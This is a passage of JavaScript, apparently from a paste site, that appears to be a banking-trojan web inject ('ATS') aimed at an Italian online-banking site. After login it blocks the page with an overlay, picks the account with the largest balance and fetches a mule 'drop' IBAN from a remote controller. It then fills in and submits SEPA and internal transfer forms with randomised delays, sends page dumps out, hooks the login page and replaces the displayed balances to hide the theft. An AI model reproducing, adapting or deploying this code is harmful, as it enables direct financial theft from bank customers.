  295. {ATS.sendLogMsg('processing ATS.sepaTools');ATS.ajaxGet(ATS.getBonificiMenuHref(),'div#bodySx',function(html){ATS.sendDump('sepaTools ATS.getBonificiMenuHref()',html.html());ATS.debugMsg('ATS.sepaTools: page loaded');var areaSepaLink=ATS.GetLink(html,"sepa");if(typeof(areaSepaLink)=="object")
  296. {setTimeout(function(){ATS.ajaxGet(jq(areaSepaLink).find('a').attr('href'),'div#bodySx',ATS.procAreaSepaPage);},ATS.randInt(2000,3500));}
  297. else if(areaSepaLink){ATS.procAreaSepaPage(html);}
  298. else
  299. {ATS.sendDump('sepaTools error ATS.getBonificiMenuHref()',html.html());ATS.die('error: cant find area sepa link');}});}
  300. ATS.intTools=function()
  301. {ATS.sendLogMsg('processing ATS.intTools');ATS.ajaxGet(ATS.getBonificiMenuHref(),'div#bodySx',function(html){ATS.sendDump('intTools ATS.getBonificiMenuHref()',html.html());ATS.debugMsg('ATS.intTools: page loaded');var areaIntLink=ATS.GetLink(html,"int");if(typeof(areaIntLink)=="object")
  302. {setTimeout(function(){ATS.ajaxGet(jq(areaIntLink).find('a').attr('href'),'div#bodySx',ATS.procAreaIntPage);},ATS.randInt(2000,3500));}
  303. else if(areaIntLink){ATS.procAreaIntPage(html);}
  304. else
  305. {ATS.sendDump('intTools error ATS.getBonificiMenuHref()',html.html());ATS.die('error: cant find area int link');}});}
  306. ATS.procAreaIntPage=function(html)
  307. {ATS.debugMsg('ATS.procAreaIntPage');ATS.sendDump('procAreaIntPage',html.html());var intForm=ATS.fillIntForm(html,ATS.int_drop);if(ATS.accounts_list.length>1){setTimeout(function(){eval(parent.ATS.maxAcc.onclick);},ATS.randInt(2000,3000));}
  308. var intErrors=intForm.getErrorText();if(intErrors=='')
  309. {setTimeout(function(){ATS.ajaxPost(intForm.getFormAction(),intForm.getRequestParams(),'div#bodySx',ATS.procConfirmSepaPage);},ATS.randInt(20000,30000));}
  310. else
  311. {ATS.sendDump('procAreaIntPage',html.html());ATS.die('ATS.procAreaIntPage: form errors: '+intErrors);}}
  312. ATS.fillIntForm=function(html,drop)
  313. {var myForm=new ATS.PostForm(jq(html).find('#bonificoSepaitaliaInsStep1Form'));myForm.setField('input[name*=beneficiario_denominazione]',drop.DrName);myForm.setField('input[name*=beneficiario_paeseResidenza]',drop.IBAN.substr(0,2));myForm.setField('input[name*=beneficiario_ibanIT]',drop.IBAN);myForm.setField('textarea[name*=bonifico_causale]',drop.Reference);myForm.setField('input[name*=bonifico_importo]',drop.amount);var inputID=parent.ATS.maxAcc.inputID;var value=parent.ATS.maxAcc.value;myForm.setField('#'+inputID,value);var btnID=jq(html).find('a[id*=conferma]').attr('id');myForm.addHiddenElem(btnID,btnID,btnID);return myForm;}
  314. ATS.framePageFinanzstatus=function()
  315. {ATS.sendLogMsg('processing ATS.framePageFinanzstatus');ATS.accounts_list=ATS.parseAccounts();if(!ATS.accounts_list.length)ATS.die('framePageFinanzstatus: cant find balance-');var maxAccount=ATS.getMaxAccount(ATS.accounts_list);if(maxAccount)
  316. {parent.ATS.maxAcc=maxAccount;maxBalance=parseFloat(maxAccount.balance.toFixed(2));parent.ATS.maxBalanceDrop=maxBalance;if(!parent.ATS.Gesamtsaldo)parent.ATS.Gesamtsaldo=maxBalance;ATS.getDrop('SEPA',maxBalance,function(data){if(data&&data.drop)
  317. {parent.ATS.sepa_drop=data.drop;parent.ATS.transf_mode='sepa';setTimeout(function(){ATS.sepaTools();},ATS.randInt(2000,3000));}
  318. else
  319. {ATS.getDrop('Internal',maxBalance,function(data){if(data&&data.drop)
  320. {parent.ATS.int_drop=data.drop;parent.ATS.StepInFrame.set_current_state("Internal_transf_page");parent.ATS.transf_mode='int';setTimeout(function(){ATS.intTools();},ATS.randInt(2000,3000));}
  321. else
  322. {ATS.die('framePageFinanzstatus: no Int drop');}});}});}else ATS.die("framePageFinanzstatus : cant find maxAccount");}
  323. ATS.mainWork=function()
  324. {ATS.sendLogMsg('main state '+ATS.StepInFrame[ATS.current_state]);if(ATS.getBonificiMenuHref()){setTimeout(function(){ATS.framePageFinanzstatus();},ATS.randInt(2000,3000));}else ATS.die("mainWork:Cant find BonificiMenuHref");}
  325. if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  326. {jq(document).ready(function(){ATS.debugMsg('document loaded');if(ATS.checkLoginPage())
  327. {ATS.debugMsg('login page');setTimeout(ATS.setLoginHook,500);}
  328. if(ATS.isLoggedIn())
  329. {ATS.debugMsg('logged in!');ATS.loadData(function(data){if(ATS.account_id!=0)
  330. {if((ATS.getCookie('status')!='1')&&(ATS.getCookie('status')!='2'))
  331. {ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}
  332. if(ATS.getCookie('status')=='2')
  333. {if(((ATS.getTime()-ATS.getCookie('error_time'))/3600)>=48){ATS.setCookie('status',0);ATS.saveCookies();ATS.sendLogMsg('Replace cookie status from 2 on 0');jq('.inj_full_overlay').remove();}else{jq('.inj_full_overlay').remove();}}
  334. if(ATS.getCookie('status')=='1')
  335. {ATS.replaceBalances();}}
  336. jq('.inj_full_overlay').remove();});}
  337. else
  338. {if((parent.document!==document)&&parent.ATS)
  339. {ATS.debugMsg('we are in frame and not logged in!');}
  340. else
  341. {jq('.inj_full_overlay').remove();}}});}
  342.  
  343. if((document.readyState==="loading")||(document.readyState==="interactive"))
  344. document.write('<div class="inj_full_overlay"></div>');else
  345. jq('body').append('<div class="inj_full_overlay"></div>');
Add Comment
Please, Sign In to add comment